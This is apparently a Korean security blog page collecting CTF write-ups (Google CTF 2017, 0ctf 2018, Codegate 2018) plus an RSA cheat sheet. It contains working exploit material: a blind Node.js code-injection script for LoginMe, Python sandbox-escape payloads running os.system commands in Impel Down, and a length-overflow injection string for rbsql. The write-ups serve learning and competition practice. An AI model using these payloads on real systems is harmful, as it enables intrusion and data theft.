Google CTF 2017 - ASCII Art Writeup



이번에는 리버싱 문제중 하나인 aart 를 풀어 보았다. 결론부터 말하면 허무하게 풀려버렸다;



이번 문제는 바이너리와 패킷 덤프가 주어졌다.




# file aart_client

aart_client: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=220420b2d90546e195ca6df0119e299f3ad28514, stripped






바이너리를 IDA 로 열어보면 protobuf 관련 클래스가 많이 나오는데, 검색해 보니 객체 등의 다양한 자료들을 송수신 하게 해주는 google 에서 만든 라이브러리이며 게임 등 실무에서도 많이 사용된다고 한다.








패킷을 열어보면 바이너리와 서버가 주고 받은 패킷임을 알 수 있는데, 자세히 보면 내용이 동일한 패킷이 주기적으로 보내진 것을 알 수 있다. 아마도 바이너리의 HELLO 문자열과 관련된 패킷일 것으로 생각된다.


즉 HELLO -> Message 전송의 형식으로 통신을 한 것으로 볼 수 있다. 











처음엔 바이너리를 좀 분석하다가... 실행하려면 서버가 필요해서 웹서버를 만들어서 시뮬레이션(?) 해 보기로 했고, 아래와 같이 간단히 코딩하여 소켓으로 응답을 돌려줬다.



from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import SocketServer

seq = 0

msg_0 = '''787e7f756d667e7c7c15787e70746d667e7c232b4c5c57405554435d5851555b5549505a554e405b545c4f51405c545b4f5449432b193931'''

msg_1 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b97716690a061e1d171f1b091112031f101f041a111f160a1b1e1605110a1e1e0905530370617b'''

msg_2 = '''787e7f756d667e7c7c15787e70746d667e7c232b4e564150525b5d5e57504b5e48405558534158505141494a564d515848564b562b193931'''

msg_3 = '''037e6c612e496c67446c3c2e7168746c772e6c6c2e65667a6d686e6c652e2e6c6c772e6f2e6262702e746277576b457840571931746c7b6a686167646d6a7164727a6f62697b626a6b7b73706c776b62726c716c11230b7a'''
msg_4 = '''787e7f756d667e7c7c15787e70746d667e7c232b53545f485c515349545449564e4f4f554353485a4d504e4d50404d545c5c514f2b193931'''

msg_5 = '''54795e5e2c5d2c2c2c2c2c2c2c2c5e5d135e53535353535353535479535d2f532c5d2c2c2c2c2c2c2c2c5c5d5353135d5353535353535479535d53535353532f5353535353535353535c53535353135d535353535c795353535c53535353532f535353535353535c53535353532f2f5353537953530f53535353535353532f535e545e5e5c1353535353535353535353530f79534e5d5e5e5e5e0d0d0d0d5c0d535353532f530d0d0d0d5e0d5e5e4e5e535d7953492e4949494949490f4953532c5a535b0f5349494949494949495328535354795e4e5e5e5d5e2c2c2c2c532f505353532c5c2c2c5d2c5e5e5e5e134e53530f7953535e0d2c5d5353532f58535e5e585e535353535353535353530f53535354795d5e532c53530d535d5e5c53530f53532f0f535353535353535c5c5353537953530f5d535e542c5d53535c530f5353530f532f534e54134e53535d0d535353530f7953530f530d5d53535c535353530f5353530f2f532c2c0d535c5d535353537953530f53532f0f5d535e5e530d0f5353530f5353535e0d5d5e5c535353535353532f795c2c5353532f53532c530f2c53530f532c2c53535353535c5353535353532c7953535353532f53535353530f5353530f53535353535c53535353535379532f2f53530f0f2c2c0f2c530f5c53535c53535353535353532f79532f0f0f53530f53530f5c5c535353535353535353532f790f2f530f53530f0f5c5c5353535353535353535379532c2f530f53532c0f535c535353535353535353537953532c53535353532c5353535353535353535353537979b9771e6902191b1503161e191c1e05031f04190510091a0207070a041e1a16070516531b70617b'''

msgs = [msg_0, msg_3, msg_2, msg_1, msg_4, msg_5]

class S(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        self._set_headers()
        self.wfile.write("<html><body><h1>hi!</h1></body></html>")

    def do_HEAD(self):
        self._set_headers()

    def do_POST(self):
        # Doesn't do anything with posted data
        global seq
        self._set_headers()
        print self.rfile.read(int(self.headers['Content-Length']))
        self.wfile.write(msgs[seq])
        seq += 1

def run(server_class=HTTPServer, handler_class=S, port=80):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Starting httpd...'
    httpd.serve_forever()

if __name__ == "__main__":
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()






그러자... 아스키 비행기가 나왔다.





# ./aart_client 127.0.0.1




             _     _

            /_|   |_\

           //||   ||\\

          // ||   || \\

         //  ||___||  \\

        /     |   |     \    _

       /    __|   |__    \  /_\

      / .--~  |   |  ~--. \|   |

     /.~ __\  |   |  /   ~.|   |

    .~  `=='\ |   | /   _.-'.  |

   /  /      \|   |/ .-~    _.-'

  |           +---+  \  _.-~  |

  `=----.____/  #  \____.----='

   [::::::::|  (_)  |::::::::]

  .=----~~~~~\     /~~~~~----=.

  |          /`---'\          |

   \  \     /       \     /  /

    `.     /         \     .'

      `.  /._________.\  .'

        `--._________.--'







그리고...몇번 더 실행해보니 플래그가 나왔다 -_-;;;;;



# ./aart_client 127.0.0.1

CTF{That-was-a-lot-of-monkey-foot-work?-Good-Job!}




다른 풀이를 찾아보니 이건 꼼수고.. 제대로 된 풀이는 protobuf 프로토콜을 분석해서 flag 헥스값을 디코딩해서 키를 추출하는 식이었다. 어쨌든 풀었으니 이건 다음에 -_-;

'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28




Google CTF 2017 - Fook.apk   Writeup






끝난지 좀 됐지만 공부겸 google ctf 2017 의 문제중 안드로이드 문제인 food.apk 를 풀어봤다.


주어진 apk 는 정상 실행이 안되어서 정적 분석을 먼저 해 보았는데, 실행되고 바로 libcook.so 라이브러리를 호출해 주고 있었고 별다른 코드가 


보이지 않았다. 





so 파일을 들여다 보면 아래와 같이 dex 파일을 새롭게 생성해 주는 것을 볼 수 있다.







하지만 해당 파일을 바이너리에서 복사해서 붙여넣고 디컴파일을 시도하면 가장 중요한 함수인 cc() 함수가 제대로 보이지 않는다.


so 를 다시 살펴보면 마지막 부분에서 아래와 같이 특정 부분을 xor 해주는 것을 볼 수 있다.(0x720 오프셋 부터 0x90 byte)




해당 바이트를 가져와서 0x5a 로 xor 해서 원본 코드를 확인해 보자. python 으로 간단히 만들어 줬다.







그 후 뽑아냈던 dex 파일의 0E 로 채워진 부분들(0x720 오프셋) 을 위에서 xor 한 값으로 채워주고 다시 디컴파일을 해 보면 정상적으로 cc() 함수가 보인다.





cc() 함수. 어떤 입력값을 비교한 후 맞으면 flag 를 출력해준다. 굳이 실행시킬 필요없이 flag 출력함수인 R.C() 를 분석하기만 하면 flag 를 추출할 수 있다.






# R.C 인데..약간 복잡하긴 하지만 상관없다. 그대로 갖다 쓰면 되니까 ㅎ 








라고 생각하고 파이썬으로 대강 작성한 후에 돌려봤더니 아래처럼 일부 플래그만 나오는 이상한 현상이 발생했다(ㅠㅠ) 


�TF{�aco��l�ttu��_����to_l�bst��������




몇번의 삽질을 한 후 찾은 버그는 바로 자바 소스에서 (byte) 캐스트 때문에 char 형으로 강제 형변환이 되면서 발생한 문제였다.


파이썬과 약간 처리 방식이 다른듯 했다. 결국 % 256 연산을 통해 음수가 나오지 않도록 해주니 제대로 나왔다. 아래는 전체 python 소스이다.




# solve_food2.py


print "[*] google ctf 2017 : food.apk "

print "[*] get this.k array.."

flag = [ -19, 116, 58, 108, -1, 33, 9, 61, -61, -37, 108, -123, 3, 35, 97, -10, -15, 15, -85, -66, -31, -65, 17, 79, 31, 25, -39, 95, 93, 1, -110, -103, -118, -38, -57, -58, -51, -79 ]

compareArr = [0x13, 0x11, 0x13, 0x03, 0x04, 0x03, 0x01, 0x05]
bArr = [26,27,30,4,21,2, 18, 7]

for i,c in enumerate(compareArr):
    print hex(c^bArr[i])

# 0x9 0xa 0xd 0x7 0x11 0x1 0x13 0x2
this_k = [0x9, 0xa, 0xd, 0x7, 0x11, 0x1, 0x13, 0x2]
this_k = [9,10,13,7,17,1,19,2]

print "[*] get Flag!"

def r_c(arr1, arr2):
    v7 = 256    
    v3 = [None]*v7
    v4 = [None]*v7
    v0 = 0
    v1 = 0
    while v1 != v7:
        v3[v1] = v1
        v4[v1] = arr2[v1 % len(arr2)]
        v1 += 1

    v2 = v1^v1
    v1 = 0
    while v2 != v7:
        v1 = v1 + v3[v2] + v4[v2] & 255
        v3[v1] = (v3[v1]^v3[v2])  % 256 
        v3[v2] = (v3[v2]^v3[v1])  % 256
        v3[v1] = (v3[v1]^v3[v2])  % 256
        v2 += 1

    v4 = ""
    v2 ^= v2
    v1 ^= v1

    while v0 != len(arr1):
        v2 = v2 + 1 & 255
        v1 = v1 + v3[v2] & 255
        v3[v1] = (v3[v1]^v3[v2]) % 256
        v3[v2] = (v3[v2]^v3[v1]) % 256
        v3[v1] = (v3[v1]^v3[v2]) % 256
        v4 += chr((arr1[v0] ^ v3[v3[v2] + v3[v1] & 255]) % 256)
        v0 += 1

    return v4

print r_c(flag, this_k)






실행해보면 flag 를 확인할 수 있다.



 hyunmini@~/2017.googlectf/food$ python food_flag2.py


 [*] google ctf 2017 : food.apk

 [*] get this.k array..

 0x9

 0xa

 0xd

 0x7

 0x11

 0x1

 0x13 

 0x2

 [*] get Flag!

 CTF{bacon_lettuce_tomato_lobster_soul}






끝! (ps. 간만의 안드로이드 리버싱 문제라서 반가웠다.)

0ctf 2018 - LoginMe Writeup

2018.04.10 14:21


0CTF2018 - LoginMe




참가는 못했지만 나중에 접속해서 0ctf 2018 문제중 하나인 LoginMe 를 풀어보았다.

I didn't participate but I tried to solve LoginMe which is one of 0ctf 2018 tasks.



https://ctf.0ops.sjtu.cn/login#task-28





웹 로그인 창 하나가 주어지고, 소스코드도 주어졌다. 

web login window is given, and the source code is given.



# loginme.js


var express = require('express') var app = express() var bodyParser = require('body-parser') app.use(bodyParser.urlencoded({})); var path = require("path"); var moment = require('moment'); var MongoClient = require('mongodb').MongoClient; var url = "mongodb://localhost:27017/"; MongoClient.connect(url, function(err, db) { if (err) throw err; dbo = db.db("test_db"); var collection_name = "users"; var password_column = "password_"+Math.random().toString(36).slice(2) var password = "xxxxxxxxxxxxxxxxxxxxxx"; // flag is flag{password} var myobj = { "username": "admin", "last_access": moment().format('YYYY-MM-DD HH:mm:ss Z')}; myobj[password_column] = password; dbo.collection(collection_name).remove({}); dbo.collection(collection_name).update( { name: myobj.name }, myobj, { upsert: true } ); app.get('/', function (req, res) { res.sendFile(path.join(__dirname,'index.html')); }) app.post('/check', function (req, res) { var check_function = 'if(this.username == #username# && #username# == "admin" &&

hex_md5(#password#) == this.'+password_column+'){\nreturn 1;\n}else{\nreturn 0;}'; for(var k in req.body){ var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1}); if(!valid) res.send('Nope'); check_function = check_function.replace( new RegExp('#'+k+'#','gm') ,JSON.stringify(req.body[k])) } var query = {"$where" : check_function}; var newvalue = {$set : {last_access: moment().format('YYYY-MM-DD HH:mm:ss Z')}} dbo.collection(collection_name).updateOne(query,newvalue,function (e,r){ if(e) throw e; res.send('ok'); // ... implementing, plz dont release this. }); }) app.listen(8081) });





코드를 보면 node js 의 웹 프레임워크인 express 를 이용한 웹 서버임을 알 수 있다. 코드중 중요한 부분은 아래와 같다.

web server using express module, the web framework of node js. An important part of the code is:




1) password 칼럼명이 랜덤하게 바뀜

    password column name changes randomly


    ex)

    this.password_qqxnativaup

    this.password_kt1g716pi4






2) 내가 입력한 request 변수와 값을 이용해서 nodejs 코드가 동적으로 만들어진 후 실행됨

     nodejs code is dynamically created and executed using the request variable and value I entered


  for(var k in req.body){
            var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});
            if(!valid) res.send('Nope');
            check_function = check_function.replace(
                new RegExp('#'+k+'#','gm')
                ,JSON.stringify(req.body[k])) 
}



ex) (POST) username=admin&password=123  로 전송하면 아래와 같이 동적으로 구문을 만들어줌

        send "username=admin&password=123",  server dynamically generates the code as shown below.


- for 문을 돌면서 차례대로 #username# => admin,  #password# => 123 으로 입력

    after running for loop #username# => admin,  #password# => 123


k:username

if(this.username == "admin" && "admin" == "admin" && hex_md5(#password#) == this.password_qqxnativaup){

return 1;

}else{

return 0;}


k:password

if(this.username == "admin" && "admin" == "admin" && hex_md5("123") == this.password_qqxnativaup){

return 1;

}else{

return 0;}








결론적으로 입력값에 # 을 삽입하면 저 구문을 꼬이게 할 수 있다는 뜻이다. 

In conclusion, it's possible inserting '#' in the input value to attack.


하지만 소스상에서 #, ), ( 문자는 아래 소스코드에 의해 필터링이 되고 있다.

but  #, ), (  characters are filtered by the source code below.


var valid = ['#','(',')'].every((x)=>{return req.body[k].indexOf(x) == -1});




이 필터링은 배열로 값을 보내면 우회가 가능하다. ( username[] = 123 )

filter can be bypassed by sending an array instead of a value.






다양한 삽질 끝에 아래와 같은 방식으로 SQLi 처럼 Blind 방식의 node js 코드 인젝션이 가능함을 확인했다.

After various attempts, I confirmed that node.js code injection of blind method like SQLi is possible in the following way.


 True:

 username[]=admin#test&test.*md5.[]=] || 'a'=='a' ? 1 : alert() || (#pass&pass.*=test&password=555


 False:

 username[]=admin#test&test.*md5.[]=] || 'a'=='b' ? 1 : alert() || (#pass&pass.*=test&password=555






참일 때는 에러가 나지 않도록 하고, 거짓일 때는 alert(없는 메소드라고 에러발생) 을 이용해서 에러를 발생시켰다.

If true no error, if false an error is output.


아래처럼 입력한 자바스크립트 구문이 참일 때만 ok 가 오고, 거짓일땐 서버 에러가 발생해서 응답이 오지 않는다.

It only be 'ok' if the JavaScript syntax is true, and if it is false, get a server error and no response.






이제 스크립트를 작성해서 플래그를 한글자씩 뽑아오면 끝!

Now, write a simple python script and get the flags one by one!




# exploit_loginme.py


#!/usr/bin/python
from socket import *
import time

#target = ('202.120.7.194', 8081)
target = ('127.0.0.1', 8081)


def request(p):
    c = socket(AF_INET, SOCK_STREAM)
    try:
        c.connect(target)
    except:
        time.sleep(0.2)
        c.connect(target)

    req = '''POST /check HTTP/1.1
Accept-Encoding: gzip, deflate
Content-Length: {}
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

{}

'''.format(len(p)+2,p)
    #print req
    c.send(req)
    res = c.recv(300)
    #print res
    try:
        t = res.index('ok')
        return True
    except:
        return False

### flag length - 32
#param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].length == 32 ? 1 : alert() || (#pass&pass.*=test'
#print request(param)

### flag
flag = ''
for i in range(32):
    for j in range(48,127):
        param = 'username[]=admin#test&test.*md5.[]=] || this[Object.keys(this)[3]].substr({},1).charCodeAt() == {} ? 1 : alert() || (#pass&pass.*=test'.format(i,j)
        print "[*] trying.." + param
        if request(param):
            print '\n=================='
            print chr(j)
            flag += chr(j)
            print '\n=================='
            break
        time.sleep(0.4)

print "[+] flag: \nflag{" + flag + "}"




끝!

the end!



ps. node js 를 CTF 때만 간혹 보고 거의 안써봐서 조금 헷갈렸던 문제였다..공부해야지!




'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28

암호학 정리(for CTF)

2018.04.05 11:36



CTF 를 위한 기초 암호학 개념들을 간단히 정리했다. (아주 간단히...)




1.기본 개념


RSA 용어 

- 인증서 종류 : .pem(base64 로 저장), .der(바이너리로 저장)

o() = euler's totient function, 오일러 파이 함수
o(6) = 3
=> 1,2,3,4,5,6 중 나눠지는 2,3 은 제외하고 서로소인 1,4,5 인 3개

p = 315274063651866931016337573625089033553
q = 311155972145869391293781528370734636009
e = 12405943493775545863
n = p * q

공개키 :  n, e 
개인키 : d
암호문 : c (실제론 큰 정수)
복호화 : m (실제론 큰 정수)


- 암호화 과정
1) 소수 p 와 q 를 정한다.    
        p = 123123123
        q = 590129113

2) n = p*q 를 구한다.
        n = p * q

3) o(n) = (p-1)*(q-1) 을 구한다.
        phi = (p-1)*(q-1)

4) 1 < e < o(n) 이고 o(n) 과 서로소인 e 를 구한다.

5) (d * e) mod o(n)=1 이고 o <= d <= N 인 d 를 구한다.
   d = gmpy.invert(e, phi)

- 암호연산 : c = m^e mod n  ( m ** e % n )

- 복호연산 : m = c^d mod n  ( c ** d % n )
key = RSA.construct(n,e,d)










2. 점검툴


- yafu (인수분해 등) 
factor(0x192873aba29290cbade10) => p, q 로 분해

- openssl 
> openssl rsa -in pubkey.pem -pubin -text -modulus
Modulus (256 bit):
    00:d8:e2:4c:12:b7:b9:9e:fe:0a:9b:c0:4a:6a:3d:
    f5:8a:2a:94:42:69:b4:92:b7:37:6d:f1:29:02:3f:
    20:61:b9
Exponent: 12405943493775545863 (0xac2ac3e0ca0f5607)
Modulus=D8E24C12B7B99EFE0A9BC04A6A3DF58A2A944269B492B7376DF129023F2061B9
writing RSA key
-----BEGIN PUBLIC KEY-----
MEIwDQYJKoZIhvcNAQEBBQADMQAwLgIhANjiTBK3uZ7+CpvASmo99YoqlEJptJK3
N23xKQI/IGG5AgkArCrD4MoPVgc=
-----END PUBLIC KEY-----

- rsatool


- rsactftool

$ RsaCtfTool.py --dumpkey --key ./pubkey.pem
[*] n: 98099407767975360290660227117126057014537157468191654426411230468489043009977
[*] e: 12405943493775545863

- sympy  :  수학기호 사용 모듈 ( x = symbol(x); x+y 등)
http://docs.sympy.org/latest/tutorial/solvers.html#a-note-about-equations 








3. 문제유형


1. RSA 
- 키 인수분해 크랙(bit 수가 너무 적은 경우)
- 이미 분해된 인수(codegate 2013? 유형, ex: SSL pcap decrypt)
- lsb oracle attack


2. DES/AES
- padding oracle attack




## ETC ##

RSA 곱셈의 성질

- 암호문 cipher2, cipher5 가 있다.
- (c2 * c5) %n) 을 복호화 한 것은 m2 * m5 와 같다.
=> ((c2 * c5) % n)^d mod n == m2 * m5 
 
(2 암호문 * flag %n) ^d mod n == 2 * flag 평문


'Reversing' 카테고리의 다른 글

암호학 정리(for CTF)  (0) 2018.04.05
WinDBG 고급 명령어들  (0) 2017.06.07
DBI - pin & pintool  (3) 2017.05.22
DBI - Frida 를 이용한 DBI  (2) 2016.09.07
Embedded 기기 리버싱 - 펌웨어 리버싱  (1) 2016.07.14
Windbg 기본 - (3) 분석시 유용한 명령어들  (2) 2016.03.01

codegate 2018 miro writeup

2018.02.06 19:29


하다보니 다음 문제.. 이번 문제는 Miro(crypto) 다. 자신없는 암호 문제지만 도전!


Miro


주어진 파일은 miro.pcap, client.py  2개다. 하나는 패킷인데 TLS 암호화 패킷이고, client.py 는 미로 게임에 접속하는 클라이언트이다.



문제 서버에 접속하면 미로 게임을 풀어야 하는데 l, r, u, d 4 개의 방향을 이용하여 움직여야 한다. 문제는 주어진 클라이언트는 r, d 만 있다는 것.



결국 miro.pcap 을 decrypt 하는 수밖에 없다. 검색을 해 보니 최근에 이런 비슷한 문제가 출제되었던 것을 확인할 수 있었고, 동일한 방식으로 풀이가 가능했다.(링크 참고)





https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/%5B%5Droot





hello packet 중 server hello 에 certificate 정보가 포함되어 있고, 그 안의 modulus 를 이용하여 인수분해가 가능하다는 내용이다.








공개된 소스를 이용하여 돌리니 수초만에 아래와 같이 p, q 가 분해(?) 되어 나왔다.








이제 정보가 있으니 rsatool 을 이용하여 인증서를 만들어 주면 끝난다.


hyunmini@~/Desktop/06.CTF/2018/codegate$ python ./rsatool.py -p 17777324810733646969488445787976391269105128850805128551409042425916175469483806303918279424710789334026260880628723893508382860291986009694703181381742497  -q 17777324810733646969488445787976391269105128850805128551409042425916175469168770593916088768472336728042727873643069063316671869732507795155086000807594027 -e 65537 -o priv.pem

Using (p, q) to initialise RSA instance


n =

1c20bdc017e3caa3c579b40d439e2ecd70f12c4d7f2764784c95a3fddba00981ba9ce5b227ade47b

0a7a0a8acaba4541ab95c52f6b6de3df9ec090c6c356445b21be437abe10214d0b4a398a96743bbf

70c864687fb2ec929f01d6edab2d987fe09799ad2204a2704f33061dbf9c2e03b332f0ba1a446644

c864a06cd586d480b


e = 65537 (0x10001)


d =

1a5c9d3a21a9be4b8b52aaeb1b8a6f36e039485a4167bc03fb52ebe58a270d81e65211fcccaf6f49

d9e1d36b8ce0d2f3df4a790a1e575990458b18a51082138265f3b909c7155c173def686e4387b98a

9fe6ec917551d8095783b21eb98798ffb1324957b6dbf944ce591c8099a1e2f4787a28804c995964

c059d02749dfe5b81


p =

1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c6a8184e3f75c6f3786c

0832d301372ad3165d600adf637cda4efbc99adb6185bafa1


q =

1536dc0ecfbdc740b242c755760f77f86cac9feb35190721687bd702f159c5fe0d14ef4f564011aa

270cd326b5dcc69fb2bd76673357a9fa1399581abc231c82b


Saving PEM as priv.pem





이렇게 만든 인증서를 wireshark 에 넣어주면 decrypt 된 패킷을 볼 수 있다.


TLS 패킷 우클릭 - RSA Key List - + 버튼 누르고 아래처럼 적어주면 된다.



192.168.18.129,  443,  ssl,  priv.pem





그러면 이제 해독된 패킷 내용을 살펴보자. l, r, u, d 모든 패킷을 확인할 수 있고, 이 확인한 명령어를 이용하여 코드를 수정해 준 후 미로를 풀어주면 된다. 


이미 서버가 죽어있어서 플래그는 확인할 수 없었으나 물어보니 이렇게들 풀었다고 한다.(?)






while 1:
    data = recv_until(tls_client, "Input : ")
    print data
    #message
    user_input = raw_input()
    
    if user_input == "u":
        tls_client.send("9de133535f4a9fe7de66372047d49865d7cdea654909f63a193842f36038d362\n")
    elif user_input == "d": 
        tls_client.send("6423e47152f145ee5bd1c014fc916e1746d66e8f5796606fd85b9b22ad333101\n")
    elif user_input == "r":
        tls_client.send("34660cfdd38bb91960d799d90e89abe49c1978bad73c16c6ce239bc6e3714796\n")
    elif user_input == "l":
        tls_client.send("27692894751dba96ab78121842b9c74b6191fd8c838669a395f65f3db45c03e2\n")
    else:
        print "Invalid input!"
        exit()    


끝.

'CTF Writeup' 카테고리의 다른 글

Google CTF 2017 ascii art writeup  (0) 2018.04.18
0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28


풀이 시작한 김에 몇개 더 풀어봤다. 다음 문제는 impel down 이다.




Impel Down





 접속해보면 pyjail 이라는 문구와 escape 를 통해 python 이며 악의적인 입력값으로 python code 를 실행하라는 것을 알 수 있다.




name : test
========
[day-1]
################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
##############################################

tool
test : ~~~~




 먼저 이름을 입력받고, 다음으로 작업을 입력받아서 실행시켜준다. 작업란에 특수문자, 괄호 등을 넣어보이 파이썬 쉘 에러를 확인할 수 있었다. 이걸로 확실히 python code execution 문제라는 것을 알 수 있다.

예전에 보았던 비슷한 문제가 있어서 그떄의 기억을 소환해 우선 로컬엣 테스트 해 보았다. import os 없이 명령어를 실행시킬 수 있는 방법이 몇가지 있는데, 아래는 그 중 한가지이다.



>>> ().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')

uid=501(hyunmini) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)



 하지만 이 문제에서는 길이값 제한 및 '_' 제한 떄문에 안됨. 테스트 결과 약 40여 글자가 넘어가면 에러가 발생함.

삽질하다가 결국 찾은 방법은 name 부분에다가 공격 문자열 넣어놓고 아래와 같이 불러오는 것.



name = "__import__('os').system('ls -al')".encode('hex')


dig(), eval(your.name),






아래는 전체 exploit 코드이다. 

# impel_down_ex.py from pwn import * import pickle import os r = remote('localhost',9999) print r.recvuntil('Name : ') #name = "().__class__.__base__.__subclasses__()[-17].__repr__.im_func.func_globals['linecache'].os.system('id')".encode('hex') name = "__import__('os').system('ls -al')".encode('hex') r.sendline(name) print r.recvuntil('#\n') print r.recvuntil('#\n') cmd="dig(),eval(your.name.decode('hex'))," print cmd r.sendline(cmd) print r.recv(500) print r.recv(500) =======

실행결과

======

################## Work List ##################

  coworker : Find Coworker For Escape
  tool : Find Any Tool
  dig : Go Deep~
  bomb : make boooooooomb!!!
###############################################

dig(),eval(your.name.decode('hex')),
 5f5f696d706f72745f5f28276f7327292e73797374656d28276c73202d616c2729 : [Dig] depth = 1

total 16
drwxr-xr-x 2 root root 4096 Feb 5 22:30 .
drwxr-xr-x 4 root root 4096 Feb 5 22:30 ..
-rw-r--r-- 1 root root 3889 Feb 5 22:24 Impel_Down.py
-rw-r--r-- 1 root root 121 Feb 5 22:30 run.sh



풀이한 시점에는 서버가 닫혀서 플래그는 없으나 cat /flag 등으로 플래그 확인이 가능했다고 한다. 


'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16


코게 2018 예선문제 풀이.


사정이 있어서 풀타임 참석은 못하고 저녁에 좀 풀고, 대회 끝나고 나서 서버가 닫히기 전에 웹문제만 풀어봤다.





rbsql



접속해 보니 아주 익숙한(몇년째 대회에서 보고있는 -_-;;;) 홈페이지가 나온다.


소스코드가 주어져서 분석을 해보니, 데이터베이스 대신 파일을 DB 로 사용하는 웹사이트이다.


회원 가입 시 스키마 파일에 파일명을 추가하고, 테이블 대신 파일을 생성한다. 


그리고 생성된 파일에 특정 포맷으로 데이터를 저장하고 읽어온다. 결국 그 과정에서 어떤 취약점이 발생할 것으로 생각했다.


스키마 파일은 제공되지 않아서 직접 만들어 주었다.(md5 형님 제공)





소스 코드를 분석해보니 포맷은 아래와 같았다.



문자 : \x01 + 길이(1byte) + 문자

배열 : \x02 + 길이(1byte) + 문자 또는 배열,...





그리고 파싱함수(rbParse) 를 살펴보면 저 위의 포맷대로 파싱해서 값을 읽어온다. 


문제는, 길이값이 1byte 라는 것. 1byte 인 데다가 256 글자까지 입력이 가능하므로, 256 글자를 입력하면 \xff + 1 = \x00 이 된다.



hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(255);' | xxd

00000000: ff                                       .

hyunmini@~/06.CTF/2018/codegate$ php -r 'echo chr(256);' | xxd

00000000: 00




즉, 길이값의 인티저 오버플로우를 이용하면 그 다음 항목을 마음대로 조작할 수 있다는 것이다.


umail 에 256 글자를 집어넣으면 파싱할때 길이값이 0이므로 umail 은 바로 파싱이 끝나고 다음 항목으로 넘어가게 되는데,


이때 ip 와 level 을 조작할 수 있다. 가장 중요한 것은 level 을 2 로 바꿔주는 것이다.(admin) 




umail: '\x01\x20c4ca4238a0b923820dcc509a6f75849b\x01\x0dx.x.x.x\x01\x32' + 'AAAAAAAA...'   (전체 256 글자)



요렇게 해서 보내면 된다. 





아래는 python 코드






요렇게 가입하고 로그인하면 flag 가 뙇

'CTF Writeup' 카테고리의 다른 글

0ctf 2018 - LoginMe Writeup  (0) 2018.04.10
codegate 2018 miro writeup  (0) 2018.02.06
codegate 2018 Impel Down writeup  (0) 2018.02.06
codegate 2018 - rbsql writeup  (0) 2018.02.06
Codegate 2017 - babypwn  (0) 2017.02.28
Codegate 2014 pwn 250 Writeup + pwntools 연습  (0) 2016.12.16

pwnable.tw - start [100 pts]

2018.01.05 11:10

pwnable.tw - start [ 100 pts ]






pwnable.tw 풀이 시작!! (했는데..생각보다 쉽진 않네요 ㅎㅎ )


풀이 우선으로 하고 시간날 때마다 조금씩 정리해 보려고 합니다.






100 점 짜리 시작 문제이다. 우선 코드를 살펴보자.




write 와 read 시스템콜만 존재하는 매우 간단한 프로그램이다. 


